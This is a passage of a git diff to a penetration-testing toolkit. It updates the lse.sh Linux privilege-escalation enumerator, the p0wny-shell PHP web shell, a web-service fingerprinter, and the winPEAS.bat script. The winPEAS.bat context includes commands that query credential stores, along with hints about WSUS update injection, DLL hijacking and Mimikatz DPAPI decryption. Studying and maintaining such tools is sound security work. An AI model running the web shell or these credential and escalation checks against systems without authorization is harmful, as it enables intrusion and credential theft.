${magenta})=====" cecho "$text${reset}\n" -} -lse_exit() { +} #) +lse_exit() { #( local ec=1 local text="\n${magenta}==================================" [ "$1" ] && ec=$1 @@ -539,18 +551,32 @@ lse_exit() { cecho "$text${reset}\n" rm -f "$lse_procmon_data" rm -f "$lse_procmon_lock" + rm -f "$lse_cve_tmp" exit "$ec" -} -lse_procmon() { +} #) +lse_procmon() { #( # monitor processes #NOTE: The first number will be the number of occurrences of a process due to # uniq -c + local ps_args + local ps_busybox + if ps -V 2>&1 | grep -iq busybox; then + ps_args='-o pid,user,args' + ps_busybox=true + else + ps_args="-ewwwo start_time,pid,user:50,args" + ps_busybox=false + fi while [ -f "$lse_procmon_lock" ]; do - ps -ewwwo start_time,pid,user:50,args + if $ps_busybox; then + ps $ps_args | sed 's/^\([0-9]*\)/? \1 /g' + else + ps $ps_args + fi sleep 0.001 - done | grep -v 'ewwwo start_time,pid,user:50,args' | sed 's/^ *//g' | tr -s '[:space:]' | grep -v "^START" | grep -Ev '[^ ]+ [^ ]+ [^ ]+ \[' | sort -Mr | uniq -c | sed 's/^ *//g' > "$lse_procmon_data" -} -lse_proc_print() { + done | grep -Ev "(pid,user|$lse_user *sed s/)" | sed 's/^ *//g' | tr -s '[:space:]' | grep -Ev "PID *USER *COMMAND" | grep -Ev '[^ ]+ [^ ]+ [^ ]+ \[' | sort -Mr | uniq -c | sed 's/^ *//g' > "$lse_procmon_data" +} #) +lse_proc_print() { #( # Pretty prints output from lse_procmom received via stdin if $lse_color; then printf "${green}%s %8s %8s %s\n" "START" "PID" "USER" "COMMAND" @@ -574,7 +600,57 @@ lse_proc_print() { printf "%s %8s %8s %s\n" "$p_time" "$p_pid" "$p_user" "$p_args" fi done -} +} #) +lse_get_distro_codename() { #( + # Get the distribution name + # + # ubuntu, debian, centos, redhat, opsuse, fedora, rocky + local distro="${grey}unknown${reset}" + if type lsb_release >/dev/null 2>&1; then + distro=`lsb_release -is` + elif [ -f /etc/os-release ]; then + distro=`grep -E '^ID=' /etc/os-release | cut -f2 -d=` + echo "$distro" | grep -qi opensuse && distro=opsuse + elif [ -f /etc/redhat-release ]; then + grep -qi "centos" /etc/redhat-release && distro=centos + grep -qi "fedora" /etc/redhat-release && distro=fedora + grep -qi "red hat" /etc/redhat-release && distro=redhat + grep -qi "rocky" /etc/redhat-release && distro=rocky + fi + printf '%s' "$distro" | tr '[:upper:]' '[:lower:]' | tr -d \"\' +} #) +lse_is_version_bigger() { #( + # check if version v1 is bigger than v2 + local v1="$1"; local v2="$2" ; local vc + [ "$v1" = "$v2" ] && return 1 # equal is not bigger + vc="`printf "%s\n%s\n" "$v1" "$v2" | sort -rV | head -n1`" + [ "$v1" = "$vc" ] && return 0 + return 1 +} #) +lse_get_pkg_version() { #( + # get package version depending on distro + # returns 2 if distro is unknown + # returns 1 if package is not installed (or doesn't exist) + # returns 0 on success, and prints out the package version + pkg_name="$1" + case "$lse_distro_codename" in + debian|ubuntu) + pkg_version=`dpkg -l "$pkg_name" 2>/dev/null | grep -E '^ii' | tr -s ' ' | cut -d' ' -f3` + ;; + centos|redhat|fedora|opsuse|rocky|amzn) + pkg_version=`rpm -q "$pkg_name" 2>/dev/null` + pkg_version="${pkg_version##"$pkg_name"-}" + pkg_version=`echo "$pkg_version" | sed -E 's/\.(aarch64|armv7hl|i686|noarch|ppc64le|s390x|x86_64)$//'` + ;; + *) + return 2 + ;; + esac + [ -z "$pkg_version" ] && return 1 + printf "%s" "$pkg_version" + return 0 +} #) +#) #) ########################################################################( TESTS @@ -638,7 +714,7 @@ lse_run_tests_users() { 'for ep in $lse_exec_paths; do [ "$ep" = "." ] && grep -ER "^ *PATH=.*" /etc/ 2> /dev/null | tr -d \"\'"'"' | grep -E "[=:]\.([:[:space:]]|\$)";done' \ "usr070" } - +#) #########################################################################( sudo lse_run_tests_sudo() { @@ -688,7 +764,7 @@ lse_run_tests_sudo() { "Do we know if any other users used sudo?" \ 'for uh in $(cut -d: -f1,6 /etc/passwd); do [ -f "${uh##*:}/.sudo_as_admin_successful" ] && echo "${uh%%:*}"; done' } - +#) ##################################################################( file system lse_run_tests_filesystem() { @@ -851,7 +927,7 @@ lse_run_tests_filesystem() { "Dump fstab file" \ 'cat /etc/fstab' } - +#) #######################################################################( system lse_run_tests_system() { @@ -907,7 +983,7 @@ lse_run_tests_system() { "System password policies in /etc/login.defs" \ 'grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs' } - +#) #####################################################################( security lse_run_tests_security() { @@ -953,7 +1029,7 @@ lse_run_tests_security() { "Can we read the auditd log?" \ 'al=/var/log/audit/audit.log; test -r "$al" && echo "tail $al:" && echo && tail "$al"' } - +#) ##############################################################( recurrent tasks lse_run_tests_recurrent_tasks() { @@ -1021,7 +1097,7 @@ lse_run_tests_recurrent_tasks() { "Systemd timers" \ 'systemctl list-timers --all' } - +#) ######################################################################( network lse_run_tests_network() { @@ -1072,7 +1148,7 @@ lse_run_tests_network() { "Listening UDP" \ 'netstat -unlp || ss -unlp' } - +#) #####################################################################( services lse_run_tests_services() { @@ -1167,7 +1243,7 @@ lse_run_tests_services() { "Systemd config files permissions" \ 'ls -lthR /lib/systemd/ /etc/systemd/' } - +#) #####################################################################( software lse_run_tests_software() { @@ -1310,7 +1386,7 @@ lse_run_tests_software() { 'screen -v' } - +#) ###################################################################( containers lse_run_tests_containers() { @@ -1341,7 +1417,7 @@ lse_run_tests_containers() { "Is the user a member of any lxc/lxd group?" \ 'groups | grep $lse_grep_opts "lxc\|lxd"' } - +#) ####################################################################( processes lse_run_tests_processes() { @@ -1398,49 +1474,84 @@ lse_run_tests_processes() { 'printf "%s\n" "$lse_proc_bin" | xargs ls -l' \ "pro001" } +#) + +#########################################################################( CVEs +lse_run_tests_cves() { + lse_header "cve" "CVEs" + if [ "${#lse_cve_list}" = 1 ]; then + if [ -z "$lse_selection" ] || printf "%s" "$lse_selection" | grep -iq 'cve'; then + printf "%s\n%s\n%s" \ + " In order to test for CVEs, download lse.sh from the GitHub releases page." \ + " Alternatively, build lse_cve.sh using tools/package_cvs_into_lse.sh from the" \ + " repository." + fi + else + for lse_cve in $lse_cve_list; do + eval "$(printf '%s' "$lse_cve" | base64 -d | gunzip -c)" + + lse_test "$lse_cve_id" "$lse_cve_level" \ + "$lse_cve_description" \ + "lse_cve_test" + done + fi +} +#) # ##) #( Main -while getopts "hcCil:e:p:s:S" option; do - case "${option}" in - c) lse_color=false; lse_grep_opts='--color=never';; - C) lse_alt_color=true;; - e) lse_exclude_paths "${OPTARG}";; - i) lse_interactive=false;; - l) lse_set_level "${OPTARG}";; - s) lse_selection="`printf \"%s\" \"${OPTARG}\"|sed 's/,/ /g'`";; - p) lse_proc_time="${OPTARG}";; - S) lse_serve; exit $?;; - h) lse_help; exit 0;; - *) lse_help; exit 1;; - esac -done +main() { + while getopts "hcCil:e:p:s:S" option; do + case "${option}" in + c) lse_color=false; lse_grep_opts='--color=never';; + C) lse_alt_color=true;; + e) lse_exclude_paths "${OPTARG}";; + i) lse_interactive=false;; + l) lse_set_level "${OPTARG}";; + s) lse_selection="`printf \"%s\" \"${OPTARG}\"|sed 's/,/ /g'`";; + p) lse_proc_time="${OPTARG}";; + S) lse_serve; exit $?;; + h) lse_help; exit 0;; + *) lse_help; exit 1;; + esac + done -#trap to exec on SIGINT -trap "lse_exit 1" 2 + #trap to exec on SIGINT + trap "lse_exit 1" 2 -# use alternative color scheme -$lse_alt_color && lse_recolor + # use alternative color scheme + $lse_alt_color && lse_recolor -lse_request_information -lse_show_info -PATH="$PATH:/sbin:/usr/sbin" #fix path just in case + lse_request_information + lse_show_info + PATH="$PATH:/sbin:/usr/sbin" #fix path just in case + lse_distro_codename=`lse_get_distro_codename` -lse_procmon & -(sleep "$lse_proc_time"; rm -f "$lse_procmon_lock") & + lse_procmon & + (sleep "$lse_proc_time"; rm -f "$lse_procmon_lock") & -lse_run_tests_users -lse_run_tests_sudo -lse_run_tests_filesystem -lse_run_tests_system -lse_run_tests_security -lse_run_tests_recurrent_tasks -lse_run_tests_network -lse_run_tests_services -lse_run_tests_software -lse_run_tests_containers -lse_run_tests_processes + ## NO WAR + lse_header "nowar" "humanity" + lse_test "nowar0" "0" \ + 'Should we question autocrats and their "military operations"?' \ + 'cecho " $black$b_blue NO $reset\n $black$b_yellow WAR $reset"' -lse_exit 0 + lse_run_tests_users + lse_run_tests_sudo + lse_run_tests_filesystem + lse_run_tests_system + lse_run_tests_security + lse_run_tests_recurrent_tasks + lse_run_tests_network + lse_run_tests_services + lse_run_tests_software + lse_run_tests_containers + lse_run_tests_processes + lse_run_tests_cves + + lse_exit 0 +} + +[ ! "$lse_NO_EXEC" ] && main "$@" #) diff --git a/p0wny-shell.php b/p0wny-shell.php index f8f41c3..629f0c3 100644 --- a/p0wny-shell.php +++ b/p0wny-shell.php @@ -1,14 +1,22 @@ &1)?$/", $cmd)) { + chdir(expandPath("~")); } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) { chdir($cwd); preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match); - chdir($match[1]); + chdir(expandPath($match[1])); } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) { chdir($cwd); preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match); diff --git a/web_service_finder.py b/web_service_finder.py index f2864a1..44fa88a 100755 --- a/web_service_finder.py +++ b/web_service_finder.py @@ -8,6 +8,7 @@ import requests import urllib.parse import util from bs4 import BeautifulSoup +from crawl_urls import Crawler requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) @@ -208,7 +209,7 @@ class WebServiceFinder: litecart_pattern = re.compile(r"^https://www.litecart.net") wordpress_pattern = re.compile(r"/wp-(admin|includes|content)/(([^/]+)/)*(wp-emoji-release.min.js|style.min.css)\?ver=([0-9.]+)(&|$)") - urls = util.collectUrls(soup) + urls = Crawler(self.url).collect_urls(soup) for url in urls: self.printMatch("Moodle", moodle_pattern_1.search(url), version_func=lambda v: self.retrieveMoodleVersion(int(v))) self.printMatch("Moodle", moodle_pattern_2.search(url), version_func=lambda v: "%d.%d" % (int(v)//10,int(v)%10)) diff --git a/win/accesschk.exe b/win/accesschk.exe index 6fc4abf..27a57c1 100644 Binary files a/win/accesschk.exe and b/win/accesschk.exe differ diff --git a/win/accesschk64.exe b/win/accesschk64.exe index 0c1c01c..4ca9592 100644 Binary files a/win/accesschk64.exe and b/win/accesschk64.exe differ diff --git a/win/winPEAS.bat b/win/winPEAS.bat index 230fb11..00ae859 100644 --- a/win/winPEAS.bat +++ b/win/winPEAS.bat @@ -55,7 +55,7 @@ ECHO. CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS" ECHO. [i] Check for vulnerabilities for the OS version with the applied patches -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits systeminfo ECHO. CALL :T_Progress 2 @@ -174,7 +174,7 @@ CALL :T_Progress 1 :UACSettings CALL :ColorLine " %E%33m[+]%E%97m UAC Settings" ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul ECHO. CALL :T_Progress 1 @@ -225,7 +225,7 @@ CALL :T_Progress 1 :InstalledSoftware CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE" ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software ECHO. dir /b "C:\Program Files" "C:\Program Files (x86)" | sort reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\" @@ -236,7 +236,7 @@ CALL :T_Progress 2 :RemodeDeskCredMgr CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager" -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#remote-desktop-credential-manager IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files ECHO. CALL :T_Progress 1 @@ -244,7 +244,7 @@ CALL :T_Progress 1 :WSUS CALL :ColorLine " %E%33m[+]%E%97m WSUS" ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit) -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#wsus reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://" ECHO. CALL :T_Progress 1 @@ -252,7 +252,7 @@ CALL :T_Progress 1 :RunningProcesses CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES" ECHO. [i] Something unexpected is running? Check for vulnerabilities -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#running-processes +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#running-processes tasklist /SVC ECHO. CALL :T_Progress 2 @@ -273,7 +273,7 @@ CALL :T_Progress 3 :RunAtStartup CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP" ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#run-at-startup +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#run-at-startup ::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^ @@ -297,7 +297,7 @@ CALL :T_Progress 2 :AlwaysInstallElevated CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?" ECHO. [i] If '1' then you can install a .msi file with admin privileges ;) -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul ECHO. @@ -361,7 +361,7 @@ CALL :T_Progress 1 :BasicUserInfo CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#users-and-groups +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#users-and-groups ECHO. CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER" net user %username% @@ -435,7 +435,7 @@ ECHO. :ServiceBinaryPermissions CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS" -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do ( for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO. ) @@ -444,7 +444,7 @@ CALL :T_Progress 1 :CheckRegistryModificationAbilities CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY" -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a ECHO. CALL :T_Progress 1 @@ -453,7 +453,7 @@ CALL :T_Progress 1 CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS" ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe' ECHO. [i] The permissions are also checked and filtered using icacls -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do ( for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do ( ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO. @@ -468,7 +468,7 @@ ECHO. CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable" ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dll-hijacking for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. ) ECHO. CALL :T_Progress 1 @@ -477,7 +477,7 @@ CALL :T_Progress 1 CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS" ECHO. CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT" -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#windows-vault +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#windows-vault cmdkey /list ECHO. CALL :T_Progress 2 @@ -485,14 +485,14 @@ CALL :T_Progress 2 :DPAPIMasterKeys CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS" ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul CALL :T_Progress 2 CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS" ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi ECHO. ECHO.Looking inside %appdata%\Microsoft\Credentials\ ECHO. @@ -565,7 +565,7 @@ CALL :T_Progress 2 :AppCMD CALL :ColorLine " %E%33m[+]%E%97m AppCmd" -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd-exe IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists. ECHO. CALL :T_Progress 2 @@ -573,7 +573,7 @@ CALL :T_Progress 2 :RegFilesCredentials CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials" ECHO. [i] Searching specific files that may contains credentials. -ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files +ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password reg query HKCU\Software\ORL\WinVNC3\Password 2>nul CALL :T_Progress 2 diff --git a/win/winPEAS.exe b/win/winPEAS.exe index 9fe0a00..d9048e7 100644 Binary files a/win/winPEAS.exe and b/win/winPEAS.exe differ diff --git a/win/winPEASx64.exe b/win/winPEASx64.exe index 3cc39ba..9e01878 100644 Binary files a/win/winPEASx64.exe and b/win/winPEASx64.exe differ